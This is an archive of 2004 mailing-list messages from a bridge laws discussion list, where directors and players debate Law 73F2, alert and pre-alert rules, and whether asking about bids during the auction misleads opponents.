Mar 11 00:51:29 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 11 Mar 2004 10:51:29 +1000 Subject: [blml] Explain Message-ID: Ed Reppert asked: >Yet in rulings I have seen, what the Director actually >does is *assert* that the player could have known. He >gives no justification save "because I say so" - and >that usually only by implication. Is the assertion >alone sufficient to establish that the player could >have known? Richard James Hills answers: No. Instead, when I am TD, I prefer the basis of my Law 73F2 rulings to be a syllogism. For example: 1. The usual reason that declarer would ask a particular question is when the closed hand holding is Txx in a particular suit. 2. Declarer's actual closed hand holding was AJTxx in that particular suit 3. Declarer had no demonstrable reason for asking that particular question given declarer's actual closed hand holding 4. Declarer *could have known* that giving a defender a misleading impression that declarer held Txx, meant that a defender would consequently misguess the defence 5. The defender did consequently misguess the defence 6. The misguess damaged the defending side Definition of *could have known* in this example: At the time declarer asked the particular question, the information that was available to declarer meant that it was possible for declarer to realise that asking the particular question, which misleadingly suggested the Txx holding, could benefit the declaring side. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From nigel.guthrie@ntlworld.com Thu Mar 11 00:24:10 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 11 Mar 2004 00:24:10 -0000 Subject: [blml] Standard References: <015301c406d1$11ae8cc0$029568d5@tinyhrieuyik> <002001c406e2$942a6b40$acca403e@multivisionoem> Message-ID: <02c601c406ff$2d108120$029568d5@tinyhrieuyik> [Grattan Endicott] +=+ Or the EBL standard card, enforceable in Malmoe. Dream on ...... ~ G ~ +=+ [Nigel] As I understand it *none* of the laws in TFLB are binding on SOs. But most SOs abide by most of them. It is quite probable that there would be SOs who objected to complete disclosure laws; in particular if they specified that you must explain departures from some "international standard system." Some may want to substitute their local system. Others may prefer completely different regulations. But.. (1) At least that would be a step towards a *complete* law- book, to which SOs and NBOs could conform if they so wished. Currently they have no choice but to cobble together their own home-grown idiosyncratic efforts. (2) Perhaps NBOs and SOs are less petty and chauvinistic than the WBFLC have always assumed in the past. Surely it can't be that the WBFLC has been reluctant to take on the additional work to plug the gaps? Perish the thought! (3) IMO even the worst-case scenario is an improvement on the status quo. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.604 / Virus Database: 384 - Release Date: 02/03/2004 From ereppert@rochester.rr.com Thu Mar 11 00:45:30 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 10 Mar 2004 19:45:30 -0500 Subject: [blml] Explain In-Reply-To: Message-ID: <6588B4BC-72F5-11D8-8D1B-0030656F6826@rochester.rr.com> On Wednesday, Mar 10, 2004, at 19:51 US/Eastern, richard.hills@immi.gov.au wrote: > Definition of *could have known* in this example: > > At the time declarer asked the particular question, the > information that was available to declarer meant that it > was possible for declarer to realise that asking the > particular question, which misleadingly suggested the Txx > holding, could benefit the declaring side. Thanks, Richard. Makes a little more sense that way. From grabiner@alumni.princeton.edu Thu Mar 11 02:45:23 2004 From: grabiner@alumni.princeton.edu (David J. Grabiner) Date: Wed, 10 Mar 2004 21:45:23 -0500 Subject: [blml] Catch-22 In-Reply-To: <6.0.3.0.0.20040310144647.03058960@incoming.verizon.net> References: Message-ID: <5.1.1.6.0.20040310213724.01bf46a8@mail.vzavenue.net> At 02:50 PM 3/10/2004, Walt wrote: >At 03:46 AM 10/03/2004, Jaap van der Neut wrote: >>So if you alert a 2H opener (or 100 other bids) >>everybody just things you didn't forget to alert a convention in universal >>use. The idea that you might actually not play French Standard doesn't even >>enter their mind. Now is this the goal of alerts ? > > >I still don't understand why the ACBL dropped their "Special Alerts". >Something to point out a call which is quite unusual seems to me, as >Jaap indicates, to be a very good idea. Nobody knew when to use them; they would work better with the current system that makes it clear what requires them. When I played two-way Stayman, I "Special Alert"ed the 2D bid frequently, and the usual reaction was, "What's a special alert?" The current Announce rules have the same principle; a Jacoby 2D is announced "Transfer", and a Stayman 2D is alerted. The rule helps with 1C openings; players expect that 1C Alerted is a big club of some kind, because of the 1C announcement "Could be short". However, it doesn't call attention to the need for players to ask about a Stayman 2D, or a 1NT response to 1H showing spades. I prefer the Special Alerts, because misuse of them is less likely to cause problems. When the Announce system is misused, incorrect Announcements tend to be given, such as 2S in response to 1NT announced as "Transfer" when the 2S bidder could actually have either minor. In contrast, if you Special Alert something incorrectly, you aren't likely to create UI or MI when you are asked. From ereppert@rochester.rr.com Thu Mar 11 04:44:07 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 10 Mar 2004 23:44:07 -0500 Subject: [blml] Catch-22 In-Reply-To: <5.1.1.6.0.20040310213724.01bf46a8@mail.vzavenue.net> Message-ID: On Wednesday, Mar 10, 2004, at 21:45 US/Eastern, David J. Grabiner wrote: > The current Announce rules have the same principle; a Jacoby 2D is > announced "Transfer", and a Stayman 2D is alerted. And sometimes the same result you used to get with Special Alerts - or at least a similar one. Frex, once I alerted my partner's Stayman 2D. RHO's reaction: "you're supposed to announce 'transfer'". :-( From richard.hills@immi.gov.au Thu Mar 11 06:12:01 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 11 Mar 2004 16:12:01 +1000 Subject: [blml] Standard Message-ID: Nigel Guthrie wrote: [big snip] >IMO, the simplest disclosure rules specify a standard system, >from which you must explain departures. That standard >system could be local or National e.g. Polish club in Poland. >I believe it should be international. [big snip] Richard James Hills replies: Disclosure rules should maximise the chances of implicit disclosure. Therefore, I believe that standard systems should be ultra-local. For example, the vast majority of Hobart experts have an agreement that, "4C is always Gerber". So, I believe that a Hobart expert partnership which does not use the Gerber convention should be required to Pre-Alert their aberrant behaviour. Otherwise, their opponents will have implicitly received less than full disclosure, since the opponents will expect 4C to be the local norm of Gerber. Contrariwise, the vast majority of Canberra experts have an agreement that Gerber is used when hell freezes over. So, I believe that a Canberra expert partnership which Gerberises should be required to Pre-Alert their aberrant behaviour. Otherwise, their opponents will have implicitly received less than full disclosure, since the opponents will expect 4C to mean something sensible. This is consistent with the universal statement which is paraphrased in the vast majority of SO alert regulations: "Alert a meaning that the opponents may not expect." Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From gesta@tiscali.co.uk Thu Mar 11 07:18:45 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Thu, 11 Mar 2004 07:18:45 -0000 Subject: Fw: [blml] Explain References: <39639B72-72B1-11D8-8D1B-0030656F6826@rochester.rr.com> <200403101642.i2AGgdHq000931@athena.ccrs.nrcan.gc.ca> <6.0.3.0.0.20040310145836.0305ceb0@incoming.verizon.net> Message-ID: <001001c40739$33117950$d201e150@multivisionoem> Grattan Endicott To: "Ron Johnson" ; Sent: Wednesday, March 10, 2004 8:04 PM Subject: Re: Fw: [blml] Explain > > This is not quite correct, in the ACBL you may look > at an opponents convention card only when it is your > turn to bid. Certainly asking the question after the > auction was over would have avoided this problem > though. > > Walt > +=+ It is merely self-indulgent to ask questions during the auction when the end of the auction is time enough .- and to be deprecated. ~ G ~ +=+ From gesta@tiscali.co.uk Thu Mar 11 07:28:54 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Thu, 11 Mar 2004 07:28:54 -0000 Subject: [blml] Explain References: <6588B4BC-72F5-11D8-8D1B-0030656F6826@rochester.rr.com> Message-ID: <000401c4073c$4146d5d0$3cce403e@multivisionoem> Grattan Endicott To: "blml" Sent: Thursday, March 11, 2004 12:45 AM Subject: Re: [blml] Explain > > On Wednesday, Mar 10, 2004, at 19:51 US/Eastern, > richard.hills@immi.gov.au wrote: > > > Definition of *could have known* in this example: > > > > At the time declarer asked the particular question, the > > information that was available to declarer meant that it > > was possible for declarer to realise that asking the > > particular question, which misleadingly suggested the Txx > > holding, could benefit the declaring side. > > Thanks, Richard. Makes a little more sense that way. > +=+ I find it difficult to see what other explanation might be put upon it. ~ G ~ +=+ From jaap.vander.neut@noos.fr Thu Mar 11 08:43:55 2004 From: jaap.vander.neut@noos.fr (Jaap van der Neut) Date: Thu, 11 Mar 2004 09:43:55 +0100 Subject: Fw: [blml] Explain References: <39639B72-72B1-11D8-8D1B-0030656F6826@rochester.rr.com> <200403101642.i2AGgdHq000931@athena.ccrs.nrcan.gc.ca> <6.0.3.0.0.20040310145836.0305ceb0@incoming.verizon.net> <001001c40739$33117950$d201e150@multivisionoem> Message-ID: <003d01c40745$85399da0$8a5b4151@yourhpbmye9tmb> No Grattan, You have a point, and I agree you have a valid point. Asking about a single bid at an odd moment in a normal sequence is something that should be avoided. At serious level this is a non issue but I can imagine that at lower level there is a need to educate. BUT who is to know in general when the end of the auction is time enough. Suppose your opps embark upon a complicated (and artificial) sequence. 9 times out of 10, the end of the auction is time enough. But real yarboroughs are rare, normally you have a few honnor cards. So there is (almost) always a bridge reason to know what is going on. Things like what is trumps, if they are relaying who is asking in what context, etc. Because it might be useful to double some bid along the road. This is typically the decision you cannot really think about, for obvious reasons, so you have to see it coming. So to support your view in this discussion, you have to explain how a player can possible know in advance that he will not get any decision during the bidding. Only in that case your view (what till after the bidding) makes sense. But believe me, your view doesn't make any sense when playing unfamiliar systems. When playing against some Polish system (but also when playing Meckwell or Bocchi-Duboin and their like) any sane player typically asks every bid. Of course there is no problem because there will be screens but you get the idea. Those opps will never assume you ask for any other reason than that you want to know what is going on. The whole misleading issue is nowhere. Only in the mind of administrators who don't understand high-level bridge. And it is completely silly I couldn't ask with a yarborough, why should I have to tell opps I am sure I will never bid anything. Besides even on a yarborough there exist something like a fake cue-bid-double. But as I said, I do understand the problem at lower level. Get real boys, identical rules for everybody poses more problems than it solves. Freedom of system, full disclosure, avoiding UI, etc. are contradictory goals. Rather than nitpicking about details (that they often don't understand) bodies like the WBFLC should analyse the problems, identify them clearly, and define the politcal choices that should be make. What they are doing at the moment results in a messy patchwork. But that is unavoidable when the lawmaker, the lawenforcer, and the judge are all more or less the same persons. The Trias Politica has some merits. Jaap ----- Original Message ----- From: To: Sent: Thursday, March 11, 2004 8:18 AM Subject: Re: Fw: [blml] Explain > > Grattan Endicott [also grandeval@vejez.fsnet.co.uk] > ++++++++++++++++++++++++++++++++ > ".... sentiments that no legislature can > manufacture in any people." > ~ Walter Bagehot, 1867. > =#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=#= > ----- Original Message ----- > From: "Walt" > To: "Ron Johnson" ; > > Sent: Wednesday, March 10, 2004 8:04 PM > Subject: Re: Fw: [blml] Explain > > > > > > This is not quite correct, in the ACBL you may look > > at an opponents convention card only when it is your > > turn to bid. Certainly asking the question after the > > auction was over would have avoided this problem > > though. > > > > Walt > > > +=+ It is merely self-indulgent to ask questions during > the auction when the end of the auction is time enough > .- and to be deprecated. > ~ G ~ +=+ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From Frances.Hinden@Shell.com Thu Mar 11 10:05:33 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Thu, 11 Mar 2004 10:05:33 -0000 Subject: Fw: [blml] Explain Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1781@lonsc-s-031.europe.shell.com> On Wednesday, Mar 10, 2004, at 11:42 US/Eastern, Ron Johnson wrote: > N/S felt that East's bid of 2NT was not routine [Ed] Hm. Can't recall seeing the phrase "not routine" in the laws. [Frances] Round here, at least, "routine" is often used as a synonym for "the only = logical alternative" From ehaa@starpower.net Thu Mar 11 13:18:28 2004 From: ehaa@starpower.net (Eric Landau) Date: Thu, 11 Mar 2004 08:18:28 -0500 Subject: [blml] Standard In-Reply-To: References: <015301c406d1$11ae8cc0$029568d5@tinyhrieuyik> <015301c406d1$11ae8cc0$029568d5@tinyhrieuyik> Message-ID: <5.2.0.9.0.20040311080859.0283ca90@pop.starpower.net> At 04:37 PM 3/10/04, Robert wrote: >With one of my regular partners I play his "system"-"The Weak NO Trump >System" >(This really means Henry can bid whatever he feels like, including the >psyches that lead to scores of -1100 for us.) > >This is a long way away from what is more or less standard around >here. (Middle of Missouri, and so far as I know, most of ACBL-land.) > >(Everyone around here is more or less familiar with this, so we don't >pre-alert them.) When we face a pair who are unfamiliar with this >system, we tell them that we open 11-14 1NT (NOT KS), no transfers, >intermediate jump overcalls, simple overcalls may be very weak, weak >two bids may have poor suits, one level openings may be on a good suit >and little else (what some folk would regard as a good weak 2), >take-out doubles may not have good support for all unbid suits, and we >make lots of low level penalty doubles, as we do not use negative >doubles, support doubles, responsive doubles, and the like. > >This is our approach to pre-alerting, which is at least consistent >with the spirit of full disclosure. It takes about a minute at the >beginning of a round, including answering questions. > >This is all on our convention card, but nobody reads convention cards, >since almost everyone plays some sort of Eastern Scientific or Western >copycat (2/1 or the like.) > >Of course, we sometimes get asked lots of questions during our >auctions by people who don't understand all this. (They want to know >what is going on, mostly, when we alert calls which are not alerted in >their system.) The questions often do not show interest in taking >action at the time. In my experience, it is a mistake to assume the >questions amount to more than simple curiosity and a desire to know >what is going on. > >(Interestingly enough, our system is more natural than what even the >bunnies play, at least around here.) > >The point of all this is, I think anyone playing a system not familiar >to many of the opponents needs to pre-alert, as well as alert as >required during the auction. Odd play conventions need to be alerted >before play starts. (And of course those signaling methods questions >should be asked before play starts, also.) Robert knows of what he speaks; my experience matches his. I play a lot of EHAA, which is, like Robert's system, far more natural than what passes for "basic standard" bidding around here. I or my partner will give a brief synopsis (takes about 30-45 seconds) when we sit down, alert as required (or a bit more; we have one or two things we consider unusual enough to alert even though it is not technically required, like 2NT in response to a weak two natural but not forcing), and answer any questions freely and without reservation. We get a lot of questions, and the replies very, very rarely have any possible effect on the asker's choice of call. People ask out of interest, curiosity, and a general desire to understand what's going on. This doesn't seem to cause any problems. To tell people that they shouldn't do this would seem arbitrary, unnatural and unneccessary. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From nigel.guthrie@ntlworld.com Thu Mar 11 13:58:00 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 11 Mar 2004 13:58:00 -0000 Subject: [blml] Explain References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> <002201c40565$a9cd8230$8ae4403e@multivisionoem> <002c01c405b5$02002580$39ebf1c3@LNV> <00b201c405eb$4a678c10$39ebf1c3@LNV> Message-ID: <00e401c40770$de6af6a0$139468d5@tinyhrieuyik> [David Stevenson] Whether you approve of our advice or not, please remember two things before you criticise it: it is designed for the average English game, not for internationals: it does not forbid anyone from asking. [Nigel] In essence, the EBU Orange-Book rule simply warns "...if your partner acts in a way that suggests he has taken advantage of your question, then unauthorised information may be deemed to have been given...". In the UK, TDs and ACs enforce this strictly. Hence we EBU players are sparing about questions during the auction and tend to ask only when we have a "bridge reason" i.e. the values to consider a bid. Obviously, each session, there are occasions when we wish we had risked asking a question, at the time a bid was made. The Orange book is particularly concerned that questions may help the defence, hence it is very noticeable that when an EBU expert asks about a specific bid (say, 4th suit) then he doesn't want that lead. Whether all this leads to a "more ethical game", as has been argued, is a moot point. It does seem to be faster. IMO, the "Explain protocol" would reduce the opportunities for UI that are inherent in EBU alert regulations. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.619 / Virus Database: 398 - Release Date: 10/03/2004 From nigel.guthrie@ntlworld.com Thu Mar 11 14:08:00 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 11 Mar 2004 14:08:00 -0000 Subject: Fw: Fw: [blml] The WBF [WAS: revokes] References: Message-ID: <00fb01c40772$43dadea0$139468d5@tinyhrieuyik> [Tim West-Meads] There is nothing remarkable about my suggested procedure. Go to table, investigate, decide, inform. Chose language/ attitude etc appropriate to the context. When I rule I am generally dealing with those I know pretty well and my language might be a little more direct than when dealing with strangers. Communication (like the laws) is not a "one size fits all" package. [Nigel] Fair enough, Tim. A paradigm of TD behaviour! --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.619 / Virus Database: 398 - Release Date: 10/03/2004 From jean-pierre.rocafort@meteo.fr Thu Mar 11 15:04:12 2004 From: jean-pierre.rocafort@meteo.fr (jean-pierre.rocafort@meteo.fr) Date: Thu, 11 Mar 2004 16:04:12 +0100 Subject: [blml] Explain Message-ID: Envoy=E9 par : blml-admin@rtflb.org 10/03/2004 21:49 =20 Pour : cc :=20 Objet : Re: [blml] Explain Grattan Endicott > > +=3D+ > > > It does astound > > > me that you apparently think just wanting to know the meaning of a > > > call with no intention of doing anything but pass is a 'demonstrable > > > bridge reason' if opponent is misled by the player's inferred interest. > +=3D+ > > > Well, as far as I remember the LC almost unanimously agreed that > > wanting to know what is going on is a good enough bridge reason. > > What about your memory? > > +=3D+ You argued this way, but I did not hear anyone agree in those terms and, as the minute records, after the committee had wriggled every which way in looking for means to avoid the consequences of the inferences that may be drawn, the subject was remitted without any agreement as to the interpretation of the law. In my opinion your view is in absolute denial of the fact that the law allows that an=20 inference may be drawn and may mislead, and states the basis on which the Director may then possibly award an adjusted score. We all agree that a question may be asked, but asking a question is not free of possible consequences from the inferences it may create. The law is quite clear on that point. UI may be created; a misleading inference for opponent may be created. The laws make provision for either circumstance. And I repeat what I have previously said: it is for the Director and the TAC to determine each particular case on its own facts. In terms of the 1987 law, repeated in 1997, I consider your position aberrant. and guidance based upon it erroneous. I know you would like the law to be as you say but, for the present, it is not. ~ Grattan ~ +=3D+ *** you appear, at least here, isolated in your opinion. the point which may be= unreliable in your argument is that you take for granted that the=20 action of asking may mislead an opponent. i think this is not so, i don't=20 think somebody has some hands and can't have got some others when he asks=20 me and neither my partner nor my opponent can imagine which sort of hand i = have when i ask. moreover, it would be perverse for a player to think, as=20 soon as his call is alerted, he is entitled to a form of tax from the=20 opponent forced to give him a piece of information according to his asking = or not asking. the comparison i see with the play of the cards is this if, = foolishly, you had an equivalent regulation to "all you can do may be used = against yourself": it would be legal for declarer to infer something from=20 the location from which a defenser extracts the card he is going to play=20 and it would be forbidden for the defenser to mislead declarer by failing=20 to range his hand by suit. one could also decide it's unethical to pretend = to be interested during an uninterrupted opponent's bidding when being=20 dealt a yarborough. In both cases, it's a vicious circle, a player is=20 misled because somebody told him he had a dubious right to be led.=20 on another side, i am one of those who aberrantly think it's a good=20 reason to ask only to know what's is happening even when one is sure not=20 to want to make any bid; it's less boring to wait when one understands=20 than the reverse and it's easier to extract all the inferences from bids=20 one after one and to appreciate opponents' tempo or doubts in live than to = analyze them later when your memory may not be safe enough. Even if this=20 was not my opinion, i would however prefer not to limit the sacred=20 principle of full disclosure only to prevent possible cheating which can=20 be fought anyway with proper attention given, as you say, by players, td=20 and ac to every particular case.=20 =20 jp rocafort *** =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F= =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F Jean-Pierre Rocafort METEO-FRANCE DSI/SC/D 42 Avenue Gaspard Coriolis 31057 Toulouse CEDEX Tph: 05 61 07 81 02 (33 5 61 07 81 02) Fax: 05 61 07 81 09 (33 5 61 07 81 09) e-mail: jean-pierre.rocafort@meteo.fr Serveur WWW METEO-FRANCE: http://www.meteo.fr =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F= =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F= =5F From gesta@tiscali.co.uk Thu Mar 11 14:47:49 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Thu, 11 Mar 2004 14:47:49 -0000 Subject: [blml] Standard References: Message-ID: <004701c40782$3145fdf0$7d07e150@multivisionoem> Grattan Endicott To: Sent: Thursday, March 11, 2004 6:12 AM Subject: Re: [blml] Standard <<< Disclosure rules should maximise the chances of implicit disclosure. Therefore, I believe that standard systems should be ultra-local. >>< For example, the vast majority of Hobart experts have an agreement that, "4C is always Gerber". So, I believe that a Hobart expert partnership which does not use the Gerber convention should be required to Pre-Alert their aberrant behaviour. ~~ Contrariwise, the vast majority of Canberra experts have an agreement that Gerber is used when hell freezes over. So, I believe that a Canberra expert partnership which Gerberises should be required to Pre-Alert their aberrant behaviour. ++ This is consistent with the universal statement which is paraphrased in the vast majority of SO alert regulations: "Alert a meaning that the opponents may not expect." <<< +=+ It is also consistent with the general approach that alerting regulations should be left to SOs. ~ G ~ +=+ From gesta@tiscali.co.uk Thu Mar 11 15:59:06 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Thu, 11 Mar 2004 15:59:06 -0000 Subject: Fw: [blml] Explain References: <5.2.0.9.0.20040310145607.009f1b20@pop.starpower.net> Message-ID: <004801c40782$325a7b30$7d07e150@multivisionoem> Grattan Endicott To: "Bridge Laws Discussion List" Sent: Wednesday, March 10, 2004 8:53 PM Subject: Re: Fw: [blml] Explain > I know we can't read minds, but we should nevertheless > reserve the application of L73F2 to cases where a > player's action is indistinguishable from that of someone > trying to "pull a fast one". > +=+ In the WBFLC, and here, I have consistently maintained that the application of the law is a matter for the Director and the TAC. Judgement of the application of law falls within the remit of the (standing) Appeals Committee, not of the Laws Committee which is concerned with the meaning of the Law as against the way in which that meaning is applied to cases. So I am entirely content to leave with ACs the question of when a player has a "demonstrable bridge reason" and when he does not. What would have been ill-advised would have been to frame the law in such a way that an opponent can draw no inference from an enquiry, on grounds that the question may reflect no more than the enquirer's self-indulgent wish to furnish his head with learned lumber. If we accept that position then equally the enquirer's partner enjoys the same absence of inference, removing any basis for UI arising from the question. ~ Grattan ~ +=+ From blml@blakjak.com Thu Mar 11 17:58:05 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 11 Mar 2004 17:58:05 +0000 Subject: [blml] Catch-22 In-Reply-To: References: <5.1.1.6.0.20040310213724.01bf46a8@mail.vzavenue.net> Message-ID: Ed Reppert wrote > >On Wednesday, Mar 10, 2004, at 21:45 US/Eastern, David J. Grabiner >wrote: > >> The current Announce rules have the same principle; a Jacoby 2D is >>announced "Transfer", and a Stayman 2D is alerted. > >And sometimes the same result you used to get with Special Alerts - or >at least a similar one. Frex, once I alerted my partner's Stayman 2D. >RHO's reaction: "you're supposed to announce 'transfer'". :-( Reminds me of someone at the last NABC I attended who did not like what we were doing [discussing our system]. "We are only playing two boards, you know" [it was the eleventh round]. I answered, as I am sure you did, Ed: "I know, thankyou." It wasn't that easy to get my partner to stop laughing. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From john@asimere.com Thu Mar 11 18:27:07 2004 From: john@asimere.com (John (MadDog) Probst) Date: Thu, 11 Mar 2004 18:27:07 +0000 Subject: Fw: Fw: [blml] The WBF [WAS: revokes] In-Reply-To: <00fb01c40772$43dadea0$139468d5@tinyhrieuyik> References: <00fb01c40772$43dadea0$139468d5@tinyhrieuyik> Message-ID: <5HW$9RB79KUAFwd7@asimere.com> In article <00fb01c40772$43dadea0$139468d5@tinyhrieuyik>, Nigel Guthrie writes >[Tim West-Meads] >There is nothing remarkable about my suggested procedure. >Go to table, investigate, decide, inform. Chose language/ >attitude etc appropriate to the context. When I rule I am >generally dealing with those I know pretty well and my >language might be a little more direct than when dealing with >strangers. Communication (like the laws) is not a "one size >fits all" package. taking a cricket bat to a certain player might be deemed over-zealous, although there's no doubt he deserves it. Amongst the players I direct regularly, I can just say "don't think you've got your bid" and this will usually fetch an "ok, John, fair enough". For strangers, I read out all the appropriate sections of law and interpretation. Definitely horses for courses IMO. john > >[Nigel] >Fair enough, Tim. A paradigm of TD behaviour! > > >--- >Outgoing mail is certified Virus Free. >Checked by AVG anti-virus system (http://www.grisoft.com). >Version: 6.0.619 / Virus Database: 398 - Release Date: 10/03/2004 > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From nigel.guthrie@ntlworld.com Thu Mar 11 18:33:11 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 11 Mar 2004 18:33:11 -0000 Subject: [blml] Catch-22 References: <5.1.1.6.0.20040310213724.01bf46a8@mail.vzavenue.net> Message-ID: <00bb01c40797$4fa228e0$ba9468d5@tinyhrieuyik> > [David Stevenson] > Reminds me of someone at the last NABC I attended who did not > like what we were doing [discussing our system]. "We are only > playing two boards, you know" [it was the eleventh round]. > I answered, as I am sure you did, Ed: > "I know, thankyou." > It wasn't that easy to get my partner to stop laughing. (: It's the way you tell 'em :) --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.619 / Virus Database: 398 - Release Date: 10/03/2004 From john@asimere.com Thu Mar 11 18:49:30 2004 From: john@asimere.com (John (MadDog) Probst) Date: Thu, 11 Mar 2004 18:49:30 +0000 Subject: [blml] Catch-22 In-Reply-To: <00bb01c40797$4fa228e0$ba9468d5@tinyhrieuyik> References: <5.1.1.6.0.20040310213724.01bf46a8@mail.vzavenue.net> <00bb01c40797$4fa228e0$ba9468d5@tinyhrieuyik> Message-ID: In article <00bb01c40797$4fa228e0$ba9468d5@tinyhrieuyik>, Nigel Guthrie writes >> [David Stevenson] >> Reminds me of someone at the last NABC I attended who did not >> like what we were doing [discussing our system]. "We are only >> playing two boards, you know" [it was the eleventh round]. >> I answered, as I am sure you did, Ed: >> "I know, thankyou." >> It wasn't that easy to get my partner to stop laughing. > >(: It's the way you tell 'em :) you have to imagine David's highly schooled, very plummy English accent in context. I burst out laughing when I vocalised it. john > > -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From gesta@tiscali.co.uk Thu Mar 11 19:26:12 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Thu, 11 Mar 2004 19:26:12 -0000 Subject: [blml] Explain References: Message-ID: <003001c4079f$04a911c0$18d8403e@multivisionoem> Grattan Endicott To: Sent: Thursday, March 11, 2004 3:04 PM Subject: Re: [blml] Explain *** you appear, at least here, isolated in your opinion , +=+ It can be extremely lonely defending the law as it is. I am not arguing that it is satisfactory, but I am defending its current state against distorted representation of what it provides. Whatever our standing none of us alters the law by merely asserting that it is what it is not. The requirement is action by the WBFLC as a corporate body to alter the law or re-interpret it. What it does provide currently is written in Law 73F2; that law is there for TDs and ACs to apply as their judgement determines. No gloss has been put on it and there is nothing in the laws to say that exercise of the right to ask a question will never create an inference - and one that may either give UI to partner or give a false impression to opponent. Rather the contrary - when writing that law we found a need to make provision to deal with either situation when it happens. . It is, too, naive to suggest that no front rank international player will ever transgress in this area of the law, whether or no inadvertently. The law does say that if in fact his question causes an opponent to be misled he must have a demonstrable bridge reason for asking. (A personal view is that such being the law it argues for refraining from enquiry when the player does not have such a reason - if the player does enquire in those circumstances he does so at risk.) ~ Grattan ~ +=+ From ehaa@starpower.net Thu Mar 11 21:05:38 2004 From: ehaa@starpower.net (Eric Landau) Date: Thu, 11 Mar 2004 16:05:38 -0500 Subject: Fw: [blml] Explain In-Reply-To: <004801c40782$325a7b30$7d07e150@multivisionoem> References: <5.2.0.9.0.20040310145607.009f1b20@pop.starpower.net> Message-ID: <5.2.0.9.0.20040311154938.02162930@pop.starpower.net> At 10:59 AM 3/11/04, gesta wrote: >+=+ In the WBFLC, and here, I have consistently >maintained that the application of the law is a matter >for the Director and the TAC. Judgement of the >application of law falls within the remit of the (standing) >Appeals Committee, not of the Laws Committee which >is concerned with the meaning of the Law as against the >way in which that meaning is applied to cases. So I am >entirely content to leave with ACs the question of when >a player has a "demonstrable bridge reason" and when >he does not. What would have been ill-advised would >have been to frame the law in such a way that an >opponent can draw no inference from an enquiry, on >grounds that the question may reflect no more than the >enquirer's self-indulgent wish to furnish his head with >learned lumber. I disagree -- "the enquirer's self-indulgent wish to furnish his head with learned lumber" could equally well describe his reason for taking up bridge in the first place -- but at least I understand Grattan's logic. >If we accept that position then equally >the enquirer's partner enjoys the same absence of >inference, removing any basis for UI arising from the >question. This statement, though, I don't understand at all. If, for example, we were to add some words to L20F1 along the lines of, "Any inferences by a player as to the reasons for an opponent's requesting (or not requesting) an explanation are taken entirely at his own risk," that would clearly make L73F2 inapplicable to asking about the auction, but I don't see how that would have any effect on the obligations of the asker's partner, or on the footnoted reference to L16. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 